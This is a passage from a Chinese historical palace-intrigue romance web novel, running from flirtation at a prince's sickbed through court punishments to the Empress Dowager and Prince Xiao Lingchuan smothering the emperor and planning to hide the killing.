“你还敢提这个!”萧凌川闻言,俊美的脸庞陡然阴沉,“你明知萧修湛那厮卑鄙无耻,为何不听凌芜劝告躲起来?竟还引狼入室,你是不要命了!” “我……”姜姝宁正准备辩解,忽然意识到什么,疑惑地看向他,“王爷怎知凌芜劝臣女躲起来?你究竟是何时醒的?” 萧凌川犹豫片刻,低声坦白:“今日的话……约莫辰时便醒了。” “今日?”姜姝宁双目圆睁,霎时脸颊绯红,羞恼交织,“您究竟醒了几日了?” 亏她还以为他昏迷不醒,日日三次以唇渡药……他岂不是全都知道了? 萧凌川见她羞得满面通红,眼中笑意更深,带着几分揶揄:“本王确实醒了好几日。本想养精蓄锐,静观其变,奈何每日总有那么两三次,有人以唇喂药,体贴至极,令人心旌摇曳,难以静心。” “你!”姜姝宁羞得耳根发烫,恨不得找个地缝钻进去。 她咬牙切齿,强压住心头羞恼,“是臣女唐突了!往后定不用此法喂药,免得再冒犯王爷!” 她暗自懊悔,为何要用唇渡药? 早知如此,她该捏着他的鼻子,硬生生将药灌下去! 萧凌川见她气鼓鼓的模样,忍不住低笑出声:“无妨,这喂药的方式,本王自前世便颇为喜欢。姝宁,下次还请继续如此,莫要改了!” “你……”姜姝宁气得牙痒痒,恨不得抬手给他一拳,却又想起他胸口的伤势未愈,只能狠狠瞪他一眼,起身欲走。 “姝宁!”萧凌川一把扣住她的皓腕,用力一拽,将她拉回床榻边。 他靡丽的眉眼间染上几分罕见的柔情,神色恳切,低声道:“我知道,前世我负你良多,犯下诸多错事。你可否看在今生我接连救你性命的份上……” 姜姝宁心弦紧绷,她生怕他说出“以身相许”或“嫁我为妻”这样的话来。 “……不要如此惧怕本王?” 姜姝宁心头一松,柔声道:“王爷,臣女并不惧怕您。” “真的?”萧凌川微微眯眼,目光探究地落在她脸上,语气低沉,“即便你亲眼见我杀了你姨娘,你也不怕?” 姜姝宁心头一紧,脑海中闪过那个血腥的夜晚,姨娘被肆意虐杀的画面。 这些画面时刻提醒她,她是这世上唯一知道他身世秘密的人。 她深吸一口气,强自镇定:“不怕。王爷如此做,必有您的理由。” 萧凌川闻言,眼中闪过一丝复杂的情绪。 他缓缓凑近她,目光不自觉落在她嫣 红的唇瓣上,声音低哑:“那你……以后可还愿用那种方式,为本王喂药?” 姜姝宁眼睁睁看着他一点点靠近,心跳如擂鼓,脑中一片空白,不知该躲还是该迎。 就在两人气息交缠、气氛暧昧到极点之际,暖阁的门“砰”地被推开! “大小姐,您没事……”凌芜风风火火闯入,话音未落,瞧见两人近在咫尺的暧昧姿态,顿时愣住,声音戛然而止。 “奴、奴婢该死!”她慌忙低头,脸红得像煮熟的虾,连声道,“你们继续,继续!” 说罢,她飞快关上门,逃也似的跑了出去。 凌芜一边跑,一边在心里懊恼不已:她怎偏偏挑这时候闯进去? 完了完了,坏了王爷的好事,王爷怕是要记恨她一辈子了! 第203章 吻她的掌心 第二百零三章 吻她的掌心 被凌芜这么一搅合,方才那点旖 旎暧昧的气氛瞬间荡然无存,只剩下满室的尴尬。 姜姝宁连忙起身,像是被烫到了一般,退后两步,背过身去,一张俏脸烧得几乎能滴出血来。 萧凌川一吻芳泽的美梦被生生打断,俊美脸庞上闪过一抹不悦,语气带着几分薄怒:“你这贴身婢女,还真是不懂事!” 他暗自懊恼,当初怎就鬼迷心窍,把这凌芜插到姜姝宁身边? 瞧她那副冒失的模样,净坏人好事! 姜姝宁听他责怪凌芜,连忙转身替她辩解:“王爷莫要怪凌芜,若不是她去报信,肃王殿下恐难及时赶到。说不定,您与臣女早就落入三皇子之手,任他摆布!” 萧凌川闻言,冷哼一声,眼中尽是不屑:“就算肃王不来,本王自有手段收拾萧修湛!你以为凌风与本王亲卫会输给他那群乌合之众?不过是因本王昏迷,他们不敢轻举妄动罢了。如今本王既已醒来,他们自当全力以赴,将那帮杂鱼杀个片甲不留!” 姜姝宁凝视着他那不可一世的模样,心中却无半分欣慰,反倒涌起一抹莫名不安。她蹙眉低声道:“王爷当真要与三皇子彻底撕破脸皮?就不怕陛下震怒?” 前世,皇帝驾崩后,太子体弱多病,朝堂动荡,萧凌川与萧修湛才开始明刀明枪地争锋。 如今皇帝尚在,朝野未有易主之兆,萧凌川为何如此肆无忌惮,直接与萧修湛正面交锋? 萧凌川挑眉,似是不满:“怎么,萧修湛方才那般轻薄于你,本王为你出头,你反倒不领情?” “臣女绝非不领情!”姜姝宁连忙摇头,语气多了几分焦急,“只是担心王爷因此受罚。毕竟,三皇子也是陛下之子,且他的母族王氏……” 话至此处,她猛地顿住。 如今镇国将军已被夺去兵权,熙妃降为庶人,萧修湛手中除了远在西榆的私兵,的确再无依仗。 不知不觉中,萧凌川竟将萧修湛的势力削弱至此。 她心头微动,隐约察觉一丝异样。 萧凌川见她神色变幻,笑意更深,声音低沉蛊惑:“原来姝宁如此为本王担忧。放心,即便父皇怪罪,为了你,本王也甘之如饴!” 姜姝宁觉得若再追问下去,就显得有些不知好歹了。 她只得压下疑惑,敛衽一礼,柔声道:“谢王爷为臣女出头。” 谁知话音未落,萧凌川长臂一伸,猝不及防揽住她的纤腰,将她拉入怀中。 他低头凝视她,眼中笑意如春风化雨:“姝宁若再如此生分,往后还如何以唇喂药?” “王爷!”姜姝宁羞得面红耳赤,下意识推他,却不小心触到他胸前伤口。 萧凌川脸色骤变,俊颜泛起一抹病态苍白,唇角却仍噙着笑意。 见他强忍痛楚的模样,姜姝宁又生气又好笑,嗔道:“王爷若真想养伤,便少说些混账话,免得伤势加重!” “姜姝宁,这就是你对待救命恩人的态度?”萧凌川咬牙切齿,眼中却闪着促狭光芒,“早知如此,本王该让你以身……” “不许说!”姜姝宁抬手捂住他的嘴,将“相许”二字堵在唇外。 掌心触及他温热的唇瓣,一股酥 麻之感如电流般窜过全身,她才惊觉此举何等暧昧,忙要抽手,却被萧凌川一把扣住手腕。 他低头,唇瓣轻触她柔 软的掌心,吻得轻柔而缠 绵,宛如羽毛撩拨,目光却带着几分不可言说的旖 旎,牢牢锁住她的眼。 姜姝宁只觉掌心滚烫,心湖被他撩拨得波澜四起,两颊绯红,羞涩与悸动交织,教她几乎喘不过气来。 就在这气氛旖 旎到极点之际,暖阁的门“砰”地被猛然推开! 凌风大步闯入,朗声道:“王爷,属下已派人……” 话未说完,他瞥见两人亲密的姿态,顿时愣住,随即反应过来,慌忙低头:“属下该死!王爷请继续!” 说罢,他转身便退,关门声响得震天,逃得比凌芜还快。 姜姝宁趁机从萧凌川掌中抽出手,强自压下心头悸动,故意道:“王爷,臣女倒觉得您这亲卫颇为懂事!” 若非凌风冒失闯入,自己怕是还陷在那令人脸红心跳的暧昧漩涡里,难以自拔。 萧凌川脸色极其难看,这一个两个怎么都没有半点无眼色,净会坏他好事! 凌风来到甲板上,见凌芜正倚着栏杆,盯着湖面发呆,一脸懊恼之色,活像只霜打的茄子。 “凌芜,你怎么独自在这吹冷风?”他凑上前,挤眉弄眼地问道。 凌芜抬头见是他,长叹一声,苦着脸道:“你有所不知,方才我鲁莽,闯进暖阁里,坏了王爷的好事,怕是他要记恨我一辈子了!” “哈哈,巧了!”凌风拍了拍她肩膀,压低声音,带着几分幸灾乐祸,“我刚也干了件同样的事!推门进去时,王爷正与姜姑娘……咳咳,结果被我这不长眼的给搅和了!” 凌芜一听,眼睛瞪得溜圆,尴尬中透出几分庆幸:“你也坏了王爷的好事?那我可放心了!有你陪着,王爷总不会记恨我了吧?” “别做梦了!”凌风叹气道,“你还不了解咱们王爷?那可是天底下最睚眦必报的男子!这回啊,咱俩怕是要一起被他记在小本本上了!” 凌芜闻言,脸都绿了,喃喃道:“完了,完了,这日子可怎么过啊……” —— 萧修湛被紧急送回皇宫,伤势沉重,未及入宫便已昏厥。 肃王萧锦瑜当机立断,命人请来孙神医为他医治。 他与孙神医相识于南朔城,亲眼见识过其精湛的医术。 他深知,偌大的京城,唯有孙神医能为萧修湛接续断臂。 孙神医被请至麟阁宫,面上带着几分心有余悸:“肃王殿下有所不知,这三皇子心狠手辣,当初曾派人刺杀过老夫!若非景王殿下早有察觉,命凌风扮作老夫模样,替我挡下致命一击,老夫早已命丧黄泉了!如今您让我医治他,怕是……” 萧锦瑜宽慰道:“孙神医尽管放心,此番是本王亲自请您入宫,定会护您周全。三弟若能保住手臂,欠您天大恩情,断不敢再加害于您!” “但愿如此……”孙神医长叹一声,眼中尽是无奈,随即步入内殿,为萧修湛施术。 姜瑶真闻讯赶来,得知萧修湛被萧凌川断去一臂,气得面容扭曲,眼中似要喷出火来:“景王欺人太甚!竟敢如此残害手足!妾身定要禀告父皇,为殿下讨回公道!” 萧锦瑜冷眼扫过她,沉声道:“弟妹,休要胡言!三弟趁四弟昏迷,带侍卫登上画舫,意图对姜姑娘不轨,四弟盛怒之下才断其一臂。你若将此事闹上朝堂,父皇问起缘由,你让三弟如何自处?” “不可能!”姜瑶真尖声反驳,声嘶力竭,“三皇子怎会对姜姝宁那贱人动心思?定是她与景王联手,设下圈套陷害殿下!他们分明想置殿下于死地!” 萧锦瑜看着她歇斯底里的模样,只觉不可理喻,语气转冷:“弟妹,若帮不上忙,便少些聒噪,免得扰了孙神医救人!” 姜瑶真被他一语堵住,只能恨恨咬牙,不敢再多言。 直到深夜,孙神医才拖着疲惫的身躯自内殿走出,额上犹带汗珠。 姜瑶真与萧锦瑜连忙迎上前,急切问道:“神医,殿下\三弟的手臂可接上了?” 孙神医叹息一声,摇头道:“手臂虽接上了,但经脉受损严重,怕是难复从前。” “难复从前是何意?”姜瑶真心头一紧,声音陡然拔高,“他连剑都握不住了?” “莫说持剑,”孙神医苦笑,语气沉重,“怕是连端碗都艰难。” 此言一出,姜瑶真如遭雷击。 她猛地揪住孙神医衣襟,尖叫道:“这怎么行?堂堂皇子,一臂残废,颜面何存?你号称神医,为何连帮殿下恢复如初的本事都没有?我知道了,你是景王的人!是景王指使你故意这么做,好让殿下永无翻身之日!” “弟妹,住手!”萧锦瑜厉声喝止,伸手拦住她,“三弟手臂经脉尽毁,能接回已是神医倾尽全力!便是华佗再世,也难让其恢复如初。你怎能如此无礼,怪罪孙神医?” 姜瑶真却丝毫不肯退让,泪水混着怨恨淌下,咬牙切齿道:“我算是看明白了,肃王殿下与景王是一丘之貉!难怪张姑娘不愿嫁你!比起你,五皇子殿下才是真君子,至少他不会与景王那等残害手足的毒蛇为伍!” “你说什么?”萧锦瑜闻言,脸色骤变,眼中闪过一抹复杂的情绪,“张姑娘……心悦之人竟是五弟?” 第204章 皇宫要变天了 第二百零四章 皇宫要变天了 姜瑶真冷笑连连,眼中嘲讽似刀:“怎么,肃王殿下竟不知情?想当初,为促成您与张姑娘结亲,三皇子殿下可谓费尽心思!若非他从中斡旋,张家怎会点头应允这门亲事?可肃王倒好,一心偏袒那心肠歹毒的景王,任他残害三皇子殿下! 您莫非忘了,景王身上流着南月人的血,大邺与南月积怨多年,谁能保证他无狼子野心,觊觎皇位?今日他敢对手足下狠手,他日便敢弑兄夺嫡!” 萧锦瑜目光沉如寒潭,隐隐透着愠怒:“弟妹,慎言!本王念在你忧心三弟伤势的份上,暂不与你计较。此等大逆不道的话,日后还请弟妹莫要再说!” 说完,他便带着孙神医径自离开。 姜瑶真气得浑身颤抖,怒火中烧。 回到内殿,望见床上萧修湛面色如纸、奄奄一息的模样,她心头更似烈焰焚烧。 大邺怎么可能让一个手臂残废的皇子登基为帝? 夺嫡之争,如今岂不是成了泡影? 不,绝不能就此罢休!她定要让萧凌川付出代价! 既然萧修湛无缘皇位,那萧凌川也休想染指龙椅! 大不了鱼死网破! 次日清晨,她算准皇帝下朝的时辰,故意不施粉黛,顶着一张憔悴不堪的脸直奔御书房。 没想到刚到门口,便被大总管陈顺拦下:“三皇子妃,陛下正忙,无召不得觐见,还请回吧!” 姜瑶真泪水涟涟,悲声哀求:“陈总管,求您通融,容妾身见父皇一面!三皇子殿下昨日遭景王毒手,一臂被生生斩断,至今昏迷不醒!妾身走投无路,只得求父皇为他主持公道!” 陈顺面露难色:“三皇子妃,陛下有旨,无召不得入内,您还是回去吧!” 姜瑶真以为他索要好处,忙摘下苏婉所赠的红宝石戒指,递上前去:“陈总管,只求您代为通报一声,这份恩情妾身铭记在心!” 陈顺盯着那红宝石戒指,眼睛发直,却仍无奈摇头:“三皇子妃,并非奴才不愿帮您通报,实在是陛下不愿见啊!” 姜瑶真心急如焚,不顾阻拦,着御书房高声喊道:“父皇!父皇!妾身姜瑶真,有要事禀告——” “三皇子妃,万万不可!”陈顺急得满头大汗,竭力阻拦。 就在此刻,一阵奇异的幽香飘来,伴随着一道冷冽女声骤然响起:“何人在御书房前喧哗失仪?” 陈顺连忙转身,恭敬朝来人行礼:“奴才见过香贵妃!贵妃娘娘万福金安!” 姜瑶真抬眼望去,只见眼前女子雍容华贵,凤袍生辉,赫然是昔日宴会上与她同着红裙、共舞祈福的青 楼女子。 还真是红运养人! 她暗自冷笑,谁能料到,当初那卑微欢场女子,如今竟摇身一变,成为皇帝最宠爱的妃子。 香贵妃目光如冰,扫过姜瑶真,冷声喝问:“三皇子妃见本宫,为何不行礼?” 姜瑶真心头不忿,却不得不屈身低头:“妾身见过香贵妃,贵妃娘娘万福金安!” “免礼。”香贵妃语气淡漠,目光睥睨,“三皇子妃请回吧。陛下今日批阅奏折,龙体欠安,正在小憩,不便接见。还请三皇子妃莫要喧哗,以免惊扰圣驾,触怒 龙颜!” 姜瑶真还想说什么,目光却不由落在那香贵妃脖颈间一抹青紫印记上。 她身为过来人,自然知道那暧昧的印记意味着什么。 一想到这香贵妃入宫前不过是萧修湛在春香楼捧红的头牌,心头便涌起阵阵鄙夷。 贵妃又如何? 不过仗着狐媚手段,惑主邀宠罢了! “香贵妃,父皇怕不是批奏折累了,而是被您缠得龙体欠安吧?”姜瑶真冷笑,语带讥讽,“都说贵妃擅媚惑君,妾身从前还不信,今日可算开了眼!妾身有要事需面禀父皇,贵妃若再阻拦,就别怪妾身将您那不堪过往尽数告知陛下!” “放肆!”香贵妃凤目一凛,怒声喝道,“来人,将三皇子妃拿下,掌嘴!” “你敢……”姜瑶真话音未落,便被几名嬷嬷牢牢摁住,逼她跪于香贵妃面前。 香贵妃居高临下,声如寒霜:“三皇子妃,本宫不论三皇子平日如何骄纵你,但本宫是陛下的妃子,亦是你的庶母!你对本宫出言不逊,就别怪本宫不留情面!来人,掌嘴!” 话音刚落,嬷嬷们高扬手臂,狠狠扇向姜瑶真脸颊。 十数记耳光下来,姜瑶真双颊火辣刺痛,嘴角渗出血丝,羞愤难当。 “香贵妃,你竟敢如此辱我!”姜瑶真捂着脸,咬牙切齿,“我定要禀告皇祖母,让她老人家为我做主!” 香贵妃冷嗤一声:“去吧,本宫倒要瞧瞧,太后是否会为你撑腰!” 处置完姜瑶真,香贵妃款款步入御书房,只见皇帝斜倚软榻,龙颜倦怠。 他眼皮微抬,声带慵懒:“朕隐约听见喧哗,究竟何事?” 香贵妃顺势依入他怀中,声音甜腻如蜜,带着几分娇嗔:“不过是三皇子妃不懂规矩,硬要闯入觐见,臣妾已命人将她撵走,免得扰了陛下清净。” “哦?是她?”皇帝眼眸微眯,漫不经心道,“她急着见朕,所为何事?” 香贵妃眼底闪过一抹阴鸷,唇角却勾起浅笑:“不过是小女儿家的闹脾气,无甚要紧。陛下龙体为重,何必为这些琐事烦心?” 她纤手轻挑,拈起案上玉盏中的丹药,递至皇帝唇边,娇声道,“陛下,方才被那不懂事三皇子妃的打断,臣妾尚未尽兴,不如再服一颗,陪臣妾片刻?” 皇帝闻言,脸上泛起一丝贪婪笑意,目光在她娇媚面容上流连:“爱妃如此热情如火,朕怎能辜负?” 他接过丹药吞下,眼底欲色更浓…… 姜瑶真是一路哭着去慈宁宫的。 她跪在太后面前,泪如雨下:“皇祖母,求您为孙媳做主!三皇子殿下被景王残害,断去一臂,孙媳想向父皇求公道,却在御书房外遭香贵妃阻拦。她诬蔑孙媳失礼,命嬷嬷扇了孙媳十数记耳光,孙媳的脸至今火辣难当!” 太后端坐凤椅,神色淡然,语气却带着几分无奈:“香贵妃平日柔弱温婉,不似会对人下狠手。想来,她是怕你冲撞圣驾,才出此责罚。伤在脸上可不行,吴嬷嬷,去取一盒凝脂膏来,替三皇子妃敷上。” “是,太后娘娘。”吴嬷嬷应声,转身步入内殿。 姜瑶真心头不甘,咬牙道:“皇祖母,您被香贵妃蒙蔽了!她绝非柔和之人!她责罚孙媳,不过因孙媳知晓她那不堪过往!” 太后眉梢微挑,慢声道:“她的过往,哀家知晓。香贵妃从前是春香楼头牌,卖艺不卖身,迫于无奈才入宫伺候,说来也是个可怜人。皇帝既宠爱她,哀家又何必阻拦?” 姜瑶真冷笑,眼底尽是讥讽:“皇祖母,香贵妃绝非什么贞 洁女子!她在春香楼以异香惑人,凡出得起银子的富家公子,皆可与她共度春宵!她早就是千人枕万人骑的货色!” “放肆!”太后脸色骤沉,声如寒霜,“三皇子妃何出此言?哀家曾命吴嬷嬷为她验身,分明是清白之身!难道,哀家还会放任一个不干不净的女子伺候陛下不成?” “皇祖母,她定是用障眼法蒙混过关!”姜瑶真急切道,“她怎可能是黄花闺女?” 话音未落,吴嬷嬷手持凝脂膏自内殿缓步而出,冷声道:“三皇子妃是何意?是说老奴验身有误,连作假都看不出?还是你想指责老奴与香贵妃串通,欺瞒太后?” 姜瑶真一惊,忙摆手:“我绝无此意……” 太后目光转厉,慢条斯理道:“吴嬷嬷乃哀家心腹,你是在质疑哀家?还是说,你觉得哀家故意纵容香贵妃这等不洁之人入宫,惑圣心?” 姜瑶真心头大骇,扑倒在地:“皇祖母,孙媳绝无此意!孙媳只是一时情急……” 太后冷哼,凤目含威:“哀家本来念在你年岁尚浅的份上,不愿和你计较,但你这般口无遮拦、肆意污蔑,合该受罚!来人,将三皇子妃拖下去,杖责二十!” “皇祖母饶命!皇祖母饶命啊!”姜瑶真哭喊着求饶,却无济于事,被慈宁宫的嬷嬷毫不留情拖出殿外。 念在她三皇子妃的身份,嬷嬷们下手稍有留情,但二十杖下来,姜瑶真还是差点去了半条性命。 她忍受着臀部与脸颊的火辣刺痛,一瘸一拐地往麟阁宫的路上走去。 她百思不解,平日慈眉善目的太后,怎会突然翻脸,如此冷酷无情? 直到踏入殿门的那一刻,一股寒意自脊背升起,瞬间清醒—— 这皇宫,怕是要变天了! 第205章 弑君杀父 第二百零五章 弑君杀父 姜瑶真回到麟阁宫。 殿内,熙妃正伏于萧修湛床榻边,泪流满面,悲声低诉:“我可怜的湛儿,怎会落得如此境地……” “母妃……”姜瑶真虚弱地唤了一声。 熙妃闻声转头,见儿媳双颊红肿、步履蹒跚,惊得起身:“瑶真,你这是怎么了?谁敢如此对你?” 姜瑶真强忍疼痛,上前紧紧抓住熙妃的手,附耳低语,声音急促而冷峻:“母妃,大事不妙!这皇宫,怕是要变天了!” 熙妃脸色骤变,眼中闪过一丝惊惶:“此话怎讲?” 姜瑶真压低声音,咬牙道:“如今香贵妃与太后皆偏袒景王,儿媳今日求告无门,反遭掴掌杖责。母妃,他们怕是早已联手,欲谋大邺江山!” 熙妃身形一颤,悲愤交加:“怪不得!怪不得那南月贱种如此肆无忌惮,竟敢断我儿一臂!可恨我兄长兵权被夺,湛儿又身负重伤,我们母子如今竟成砧板鱼肉,任人宰割!” “母妃莫慌!”姜瑶真沉声道,“当务之急,是要找到盟友,阻断景王的阴谋!唯有如此,殿下才能保全性命,我们才有翻身之机!” 熙妃边拭泪边思忖道:“说起盟友,老六与其母族倒是听命于湛儿,奈何势单力薄,难堪大用。要不……我们去找肃王?” 姜瑶真摇头:“不,肃王如今立场未明,并非我们能依赖之人。母妃,依儿媳之见,不如去找五皇子殿下!” “好,本宫听你的!”熙妃道。 …… 近来,皇帝上朝的次数越来越少,即便勉强临朝,朝臣们也能清晰察觉,圣上精神萎靡,精气神大不如从前。 屡有臣子上奏国事,言辞恳切,皇帝却目光涣散,似未入耳,甚至数次张口询问:“方才所奏何事?” 朝堂上一片唏嘘。 镇国将军怒不可遏,当殿痛斥景王萧凌川残害手足、断三皇子一臂的暴行,字字泣血,慷慨激昂。 然而皇帝神色漠然,只轻描淡写一句“此事再议”,便将此事轻轻揭过,教一众朝臣面面相觑,哑口无言。 臣子们心中惴惴不安,忍不住窃窃私语:“圣上春秋正盛,不过四旬有余,怎会如此神志恍惚,形同昏聩?” 更有老臣暗自揣测,这大邺江山,怕是风雨欲来! —— 皇帝睡眼惺忪,意识朦胧,恍惚间好像看到一道熟悉的身影立于床前,宛若太后。 他以为身在梦中,嘴角扯出一抹虚弱的笑:“朕的梦里,倒是许久未见母后了……” “皇帝,你并非做梦。”太后缓缓转身,面容清冷,眼中却藏着深不见底的阴郁,“是哀家来了。” 皇帝一怔,挣扎着欲起身,却觉四肢沉重如灌铅,毫无气力。 他强撑笑意,掩饰尴尬:“母后怎会深夜至此?儿臣不知为何,近日身子越发乏力,还望母后莫怪。” 太后唇角微扬,笑意却透着几分森寒:“哀家怎会怪你?毕竟,这药……是哀家命人下在你茶水中的。” “什么?!”皇帝心头一震,脸色骤变,额上冷汗涔涔而下,“母后,您……您此话何意?” 太后目光如刀,缓缓开口:“皇帝,若哀家没记错的话,你今年四十有八了吧?若哀家的荣儿还活着,也该有四十岁了。” 皇帝瞳孔猛缩,声音不由颤抖:“母后怎么忽然提起皇弟?当年皇弟才出生没几日便夭折,儿臣身为兄长,亦是悲痛万分……” “悲痛?”太后冷笑,眼中恨意如潮,“皇帝,你可真会装!哀家的荣儿,不正是被你用枕头活活闷死的吗?” 皇帝心神剧震,下意识想翻身而起,却瘫软无力,动弹不得。 他强自镇定,急声道:“母后何出此言?您虽非儿臣生母,却将儿臣养育成 人,恩重如山!儿臣怎可能做出如此大逆不道之事?定是哪个嚼舌根的宫人有意挑拨!母后快告诉儿臣到底是谁在背后离间我们母子关系,儿臣定将其千刀万剐!” 太后缓缓俯身,手轻抚他的发髻,动作温柔如儿时哄他入睡,目光却冷如寒冰:“皇帝,无人挑拨。这些话,都是你小时候梦呓,自己亲口吐露的!” 她声音渐厉,字字泣血,“哀家悔不当初!若非当年怜你母妃早逝,将你养在膝下,荣儿怎会死在你的手中?你杀他,不过是怕他夺走你的太子之位!皇帝,你心肠歹毒,根本不配君临大邺!哀家忍辱负重数十载,为的便是今日!” 她话音未落,猛地抓起一旁的锦枕,狠狠压向皇帝面门,“今日,便让你尝尝吾儿当年所受的苦!” 窒息之感如潮水般袭来,皇帝惊恐挣扎,双手胡乱挥舞,喉间发出嘶哑的呜咽。 求生的本能令他爆发出最后一线气力,拼尽全力推开枕头,整个人滚落床下,摔得狼狈不堪。 他喘 息着,欲爬向殿门,奈何四肢酸软,早已力竭,只能嘶声喊道:“来人!护驾!快护驾!有人要弑君!” 忽见眼前一双鎏金锦靴,皇帝惊魂未定地抬头,便对上萧凌川那张俊美却阴鸷的面容。 他如抓住救命稻草,嘶声喊道:“川儿,你来得正好!你皇祖母疯了,竟要弑朕……快,快护驾!” 萧凌川唇角缓缓勾起,笑意森冷如刀:“父皇莫急,儿臣前来,是来助皇祖母一臂之力的。” “你——!”皇帝目眦欲裂,心头如遭雷击,瞪着萧凌川,又扫向太后,声音颤抖如筛糠:“你们……你们竟是一伙的!你这逆子,想弑君谋反吗?!” 萧凌川冷嗤一声,眼中恨意如烈焰翻涌:“谋反?父皇以为所有人都跟你一样,眼中只有皇位吗?我今日杀你,并非为皇位,而是为我那惨死的母亲讨回公道!” 皇帝脸色煞白,强撑辩解:“你胡言乱语!你母亲不过南月一介卑贱侍女,为攀附权势勾引朕,才诞下你!她没有名分,才遭冷宫宫人欺凌致死,你怎能为此记恨朕?” 萧凌川仰天长笑,笑声中尽是悲怆与讥讽:“父皇果真擅长黑白颠倒!你明知我母亲是南月公主,却嫌弃她天生聋哑,故意不给她名分,将她弃于冷宫,肆意凌 辱!她接连小产,身体虚弱不堪,生下我不久之后便香消玉殞,皆是你这禽 兽所致!我一想到身上有你一半血脉,便觉耻辱难当!” 皇帝瞳孔猛缩,汗如雨下,语无伦次:“不……不可能!你怎会……” 花芷若死时,他还只是个襁褓里的婴孩,而那些知道他残虐手段的宫人,全部都被他处理了。 况且,他只在关押花芷若的冷宫里施暴,在其他嫔妃面前,始终维持着仁君慈父的假象,当年的秘密他又是从何得知? 萧凌川冷笑起来:“你是不是很奇怪,那些知道你残忍手段的人都死了,我又是如何知道母亲的真实身份,以及你对我母亲所做的事情的?” 皇帝拼命颤抖:“难道,也是朕说梦话时……说出去的?” “父皇还真是可笑。”萧凌川声音低沉,残忍如刃,“无需多言,你该上路了。”说完,他猛地抓起床榻上的锦枕,眼中杀意毕现。 “不!来人!护驾!”皇帝歇斯底里,声嘶力竭,拼尽全力挣扎,却如困兽 般徒劳。 萧凌川冷冷俯视:“父皇,省些力气吧。寝殿内外,皆是儿臣与皇祖母的人。”他语声轻柔,却透着无尽寒意,“安心去吧,母亲会在黄泉路上等着你。” 话落,他与太后对视一眼,二人各执锦枕一角,狠狠压向皇帝面门。 皇帝挣扎愈发微弱,喉间发出绝望的呜咽,双手胡乱抓挠,终归无力回天。 渐渐地,锦枕下的身躯彻底没了动静,狰狞的死状定格在惊恐之中。 太后凝视皇帝逐渐冰冷的尸身,泪光闪烁,唇角却扬起一抹释然的笑:“荣儿,母亲为你报仇了,你该瞑目了吧?” 萧凌川垂眸,沉默不语,心中却默念:“母亲,您的屈辱,儿臣今日尽数讨回,您可以安息了。” 第206章 他要的是整个天下 第二百零六章 他要的是整个天下 把死去的皇帝安置于龙床后,萧凌川与太后准备拟定新的传位遗诏,将旧的替换掉。 忽然一内侍满脸不安前来禀告:“太后、王爷,奴才翻遍内阁档案库,没能寻到陛下先前拟定的那份遗诏。” 太后目光微沉,对萧凌川道:“无妨。玉玺如今在我们手中,拟一份新遗诏,盖上玺印,再放回内阁档案库,皇位自然能顺理成章传于你。” “皇祖母,万万不可!”萧凌川沉声阻止,眼中闪过一丝锐芒,“遗诏莫名丢失,绝非偶然。父皇骤然‘暴毙’,若此时贸然抛出一份传位于我的遗诏,恐引朝野猜忌,授人以柄。” 太后眉心紧蹙:“若无遗诏,皇位怕是会直接传给太子,你甘心与之失之交臂?” 萧凌川唇角勾起一抹冷笑,语气笃定:“皇祖母放心,若这江山注定是我的,便无人可夺!” 他顿了顿,目光深邃如渊,“眼下,需谨慎行事,以免功亏一篑。” 太后颔首,眼中掠过一丝赞许:“好,哀家听你的。那我们先回去,让香贵妃来收拾这残局。” 不多时,香贵妃步入殿中,面上带着几分隐忍的悲戚。 萧凌川沉声道吩咐道:“香贵妃,劳烦你在此陪伴父皇至天明,再对外宣称其驾崩之事。本王已命刘太医虚报父皇的死亡时辰,你务必小心,莫在宫人面前露出破绽。” 香贵妃垂首,恭敬行礼:“臣妾自当竭力而为。只盼日后群臣唾骂臣妾魅惑君王时,王爷能为臣妾说句话。即便臣妾难逃一死,也求王爷看在小公主的份上,留臣妾一具全尸。” 萧凌川目光柔和几分,郑重道:“贵妃放心,小公主是本王的亲妹妹,本王不会让她如此年幼便失去母亲。” “谢王爷!”香贵妃眼底闪过一丝激动,声音微颤,“臣定不负王爷所托!” …… 姜丞相今日下朝迟迟未归。 姜姝宁与姜夫人一直等到午膳时分,仍不见其身影。 “母亲,许是父亲在宫中处理要务,耽搁了时辰。”姜姝宁强压心头不安,宽慰道,“我们先用膳吧。” 姜夫人点头,叹道:“你父亲近日提及朝堂上风波不断,他会被耽搁也不足为奇。” 姜姝宁眉心一跳,试探道:“朝堂风波?可是与景王断三皇子手臂一事有关?” “具体我也不太清楚。”姜夫人摇头,“待你父亲归来,再细问吧。” 姜姝宁心绪难平,总担心皇帝因萧凌川重伤萧修湛一事迁怒父亲。 毕竟,那日在画舫上,萧凌川是为了护她周全,才对萧修湛痛下狠手的。 然而,细思之下,她心底又生出一丝不安——萧凌川此番行事,狠辣果决,丝毫不顾后果,实在与平日里那沉稳谨慎、谋定后动的模样判若两人。 究竟是他有意为之,还是另有隐情? 直至日落西山,姜丞相仍未归家,他的随从气喘吁吁赶来禀报:“夫人,大小姐,老爷被留于宫中,今日恐怕无法归家!” “宫中有何事?”姜姝宁追问道。 “小的也不知详情!”随从面露难色,“只知除老爷外,其余重臣也都被扣留在宫中。” 姜姝宁心头一紧。 前世此时,宫中并无这般异动。 今生为何风云突变? 她即刻命凌芜前往景王府打探,却得知萧凌川自上朝后,也未归府。 翌日清晨,姜姝宁被一阵悠长沉重的钟声惊醒。 那钟声自皇宫深处传来,悠悠回荡,唯有宫中身份尊贵之人陨落,方会敲响。 她凝神默数,竟是响了整整一百零八下! 姜夫人匆匆赶来,神色凝重:“宁儿,宫中急报,陛下驾崩了!你快些准备,与我一同进宫守丧!” 姜姝宁瞳孔猛缩,惊骇难抑。 那丧钟果然是为皇帝而响! 可前世德源皇帝再过一年才因病驾崩,今生怎会提前? 她脑海中倏地浮现萧凌川那张冷峻如修罗的面容,脊背不由一阵发寒。 莫非,是他做了什么? —— 姜姝宁与姜夫人一同入宫,为德源皇帝驾崩守丧。 灵堂内,香烟袅袅,哭声震天。 姜姝宁与姜夫人跪在灵前,身后是黑压压的朝臣与家眷。 她偷偷抬眼,扫视四周,除了重伤未愈的三皇子萧修湛,其余六位皇子都来了。 他们分列两侧,个个身着丧服,神色各异。 景王萧凌川站在最前方,背脊挺得笔直,侧脸冷峻如冰。 她看不清他的表情,正如她一直以来都看不透他那深不见底的城府。 宫里特地请来了大相国寺的圆融大师,率领众僧为德源皇帝诵经超度。 梵音阵阵,木鱼声声,非但没能安抚人心,反而更添了几分悲凉肃杀。 这一跪便是两个时辰。 直到腿脚麻木,浑身僵硬,才有内侍过来引她们去偏殿稍作歇息。 姜姝宁扶着姜夫人,刚在偏殿寻了个角落坐下,便听见不远处传来几声低语,似有意遮掩,却又清晰可闻。 